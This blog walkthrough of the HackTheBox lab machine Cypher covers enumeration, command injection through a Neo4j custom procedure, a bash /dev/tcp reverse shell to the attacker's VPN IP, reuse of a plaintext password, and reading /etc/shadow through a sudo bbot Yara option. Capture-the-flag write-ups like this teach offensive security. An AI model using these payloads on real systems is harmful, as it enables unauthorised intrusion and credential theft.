HackTheBox | Cypher

In this walkthrough, I demonstrate how I obtained complete ownership of Cypher on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Medium Challenge
Owned Cypher from Hack The Box!
I have just owned machine Cypher from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Tue Mar  4 17:02:13 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.12.135
Nmap scan report for 10.129.12.135
Host is up (0.092s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA)
|_  256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cypher.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Mar  4 17:02:53 2025 -- 1 IP address (1 host up) scanned in 40.56 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. We can see a redirect to http://cypher.htb in the output for tcp/80.





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Clicking the button to try the "free" demo results in a login page
Maybe some indication that the application uses GraphQL
At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application, and should go back and review our Burp / proxy request history as an initial first step to uncover potential findings.



Penetration Testing

At this point, there's not a lot to go on. The attack surface is pretty small, yielding only a login form at the moment. We do not have any potential usernames either. So, time to enumerate.

Looking at the source code, we note some scripts sourced in. Of particular interest are utils.js and perhaps vivagraph.min.js, as that may play into the Graph ASM bit.
At the foot of the page source, we see an AJAX call to fetch /data.json which appears as the source for the visualization on the home page. I suspect that renderGraph() is sourced in utils.js or vivagraph.min.js.
data.json -- probably positions for the various spokes on the graph
renderGraph() appears to be sourced from utils.js
Interesting script on the /login page

Analyzing the script:

  • User enters a username and password and submits
  • Makes HTTP POST to /api/auth with payload {"username": "user_name_input", "password": "user_password_input"}

Key takeaways:

  • Seems neo4j may be involved somehow with the graphing data
  • We know there is an /api path with an /auth endpoint and potentially others
  • We may be able to brute force the /api/auth endpoint



Directory and File Enumeration

Base URL
gobuster dir -u 'http://cypher.htb/' -x json -d \
-w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt \
-t 100 -o dir.txt
/demo                 (Status: 307) [Size: 0] [--> /login]
/demo                 (Status: 307) [Size: 0] [--> /login]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/index.html           (Status: 200) [Size: 4562]
/about                (Status: 200) [Size: 4986]
/api                  (Status: 307) [Size: 0] [--> /api/docs]
/data.json            (Status: 200) [Size: 119877]
/demo                 (Status: 307) [Size: 0] [--> /login]
/index                (Status: 200) [Size: 4562]
/login                (Status: 200) [Size: 3671]
/testing              (Status: 301) [Size: 178] [--> http://cypher.htb/testing/]
API
gobuster dir -u 'http://cypher.htb/api' \
-w /usr/share/seclists/Discovery/Web-Content/big.txt \
-t 100 -o dir.txt
/auth                 (Status: 405) [Size: 31]



Testing URL

wget http://cypher.htb/testing/custom-apoc-extension-1.0-SNAPSHOT.jar
JAR File Analysis | 0xBEN | Notes
JAR File Analysis sudo apt install -y jd-gui jadx jd-gui cloudhosting-0.0.1.jar Example: appl…
Seems like there might be some potential for command injection
Assuming this is an API, I take a couple of guesses where it might be and it appears to be served at /api/cypher. And, it appears to take a single input, query.



Cypher API

This API only allows HTTP GET
Seems to be some kind of script to interact with the Neo4J backend
Neo4J returns an error telling us which commands are accepted
I feed the code from the .jar file into Bing CoPilot and ask how I can invoke this procedure, which returns this suggestion
💡
We can use the jq command to URL-encode a payload to feed into the ?query parameter.
PAYLOAD=$(echo -n "CALL custom.getUrlStatusCode('http://127.0.0.1') YIELD statusCode RETURN statusCode" | jq -sRr @uri)
curl "http://cypher.htb/api/cypher?query=${PAYLOAD}"
PAYLOAD=$(echo -n "CALL custom.getUrlStatusCode('http://10.10.14.153') YIELD statusCode RETURN statusCode" | jq -sRr @uri)
Try a request to VPN IP and the server makes a call back



Testing Command Injection

Looking at line 19 of the .jar file, this is the most interesting bit of code:

String[] command = { "/bin/sh", "-c", "curl -s -o /dev/null --connect-timeout 1 -w %{http_code} " + url };

Assuming we use the input of:

CALL custom.getUrlStatusCode('http://127.0.0.1') YIELD statusCode RETURN statusCode

When concatenated, we get a full command string of

/bin/sh -c curl -s -o /dev/null --connect-timeout 1 -w %{http_code} http://127.0.0.1

With command injection in Linux, we know that we can typically chain commands with:

  • ;
  • &&
  • ||

But sometimes, with web applications that pass user input to system commands, we can also chain commands with a new line character — \n.

So, we can try injecting different characters into the payload to see how the web server treats the input.

sudo tcpdump -ni tun0 icmp and host 10.129.12.135

Start tcpdump and listen for ICMP (ping) to and from the target IP

PAYLOAD=$(echo -en "CALL custom.getUrlStatusCode('http://127.0.0.1; ping -c 3 10.10.14.153') YIELD statusCode RETURN statusCode" | jq -sRr @uri)

Inject a ; to chain the ping -c 3 <vpn_ip> command

curl "http://cypher.htb/api/cypher?query=${PAYLOAD}"                                           
We achieve command injection with ;



Double Ampersand (Boolean AND)
PAYLOAD=$(echo -en "CALL custom.getUrlStatusCode('http://127.0.0.1 && ping -c 3 10.10.14.153') YIELD statusCode RETURN statusCode" | jq -sRr @uri)

Inject &&

This works because the && indicates that if the first command succeds, then the second command is also run.



Double Pipe (Boolean OR)
PAYLOAD=$(echo -en "CALL custom.getUrlStatusCode('http://x || ping -c 3 10.10.14.153') YIELD statusCode RETURN statusCode" | jq -sRr @uri)

Inject || and set URL to http://x

💡
We set the URL to http://x because for || to work, the first command must fail. If the command on the left of || fails, then the command on the right is executed.



New Line
PAYLOAD=$(echo -en "CALL custom.getUrlStatusCode('http://127.0.0.1\nping -c 3 10.10.14.153') YIELD statusCode RETURN statusCode" | jq -sRr @uri)

Inject \n

💡
This works similarly to the ; injection, in that the \n line feed causes the interpreter to continue to the next line and run it as a new command.





Exploit

Reverse Shell

sudo rlwrap nc -lnvp 443

Start a TCP listener to catch the reverse shell

PAYLOAD=$(echo -en "CALL custom.getUrlStatusCode('http://127.0.0.1\nbash -c \"bash -i >& /dev/tcp/10.10.14.153/443 0>&1\"') YIELD statusCode RETURN statusCode" | jq -sRr @uri)

Payload





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 24.04.2 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.2 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

Linux cypher 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=110(neo4j) gid=111(neo4j) groups=111(neo4j)

Sorry, user neo4j may not run sudo on cypher.    



Users and Groups

Local Users

graphasm:x:1000:1000:graphasm:/home/graphasm:/bin/bash    

Local Groups

graphasm:x:1000:    



Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:66:6d brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.129.12.135/16 brd 10.129.255.255 scope global dynamic eth0
       valid_lft 3434sec preferred_lft 3434sec
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether b2:3a:e2:30:30:8c brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever    

Open Ports

tcp        0      0 127.0.0.54:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.18.0.1:7474         0.0.0.0:*               LISTEN      1825/java           
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 172.18.0.1:7687         0.0.0.0:*               LISTEN      1825/java           
tcp6       0      0 :::22                   :::*                    LISTEN      -    

ARP Table

172.18.0.2 dev br-8d0e166afc01 lladdr ce:26:4b:72:10:73 STALE    

Routes

172.17.0.0/16 dev docker0 proto kernel scope link src 172.17.0.1 linkdown 
172.18.0.0/16 dev br-8d0e166afc01 proto kernel scope link src 172.18.0.1

Ping Sweep

64 bytes from 172.18.0.2: icmp_seq=1 ttl=64 time=0.042 ms    



Processes and Services

Interesting Processes

root        1739  0.1  0.6  98068 25936 ?        Ssl  Mar04   0:10 /usr/local/bin/python3.9 /usr/local/bin/uvicorn app:app --reload --host 0.0.0.0 --port 8000 --root-path /api
root        1777  0.6  0.1 2335580 6456 ?        Sl   Mar04   0:51 /usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 8000 -container-ip 172.18.0.2 -container-port 8000 -use-listen-fd    



Interesting Files

/home/graphasm/bbot_preset.yml

find /home -readable 2>/dev/null
targets:
  - ecorp.htb

output_dir: /home/graphasm/bbot_scans

config:
  modules:
    neo4j:
      username: neo4j
      password: cU4btyib.20xtCMCXkBmerhK





Privilege Escalation

Lateral to Graphasm

While running under the session of neo4j, we found that we have read privileges to some files under /home/graphasm including a configuration file with a password. Whenever you come across passwords, it's always a good ideas to see if they're reused.

ssh graphasm@cypher.htb
SSH will give us a much better experience working in the shell
Always a good thing to check upon first switching users



Root Flag

Configuration - BBOT Docs
OSINT automation for hackers

Consulting the documentation, I spent a while trying to find clever ways to execute a command or read a local file. Some of the things I tried are:

  • ❌ Copy modules to /tmp/modules and overwrite with custom Python code.
    • Then, use -c module_dirs=/tmp/modules and -m module_name to load module
    • But, I couldn't get the -c module_dirs config to stick
  • ❌ Tried experimenting with a custom module
  • ❌ Tried using different module options to read local files
  • ✅ Working my way down the user documentation, I found the Yara Rules section and I know that Yara can be used to parse strings in files.
sudo /usr/local/bin/bbot --custom-yara-rule /etc/shadow --yes --force --debug 2>&1 | grep excavate

Playing around with different commands, I got some results with this. We have to use --debug to see the actual Yara file read output on the console. grep excavate filters only the output where Yara reads file strings.

root.txt



Flags

User

35e0142ba4548bf77365feb1ecd3a927    

Root

c38d3871566cf5481aece76029dab823    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.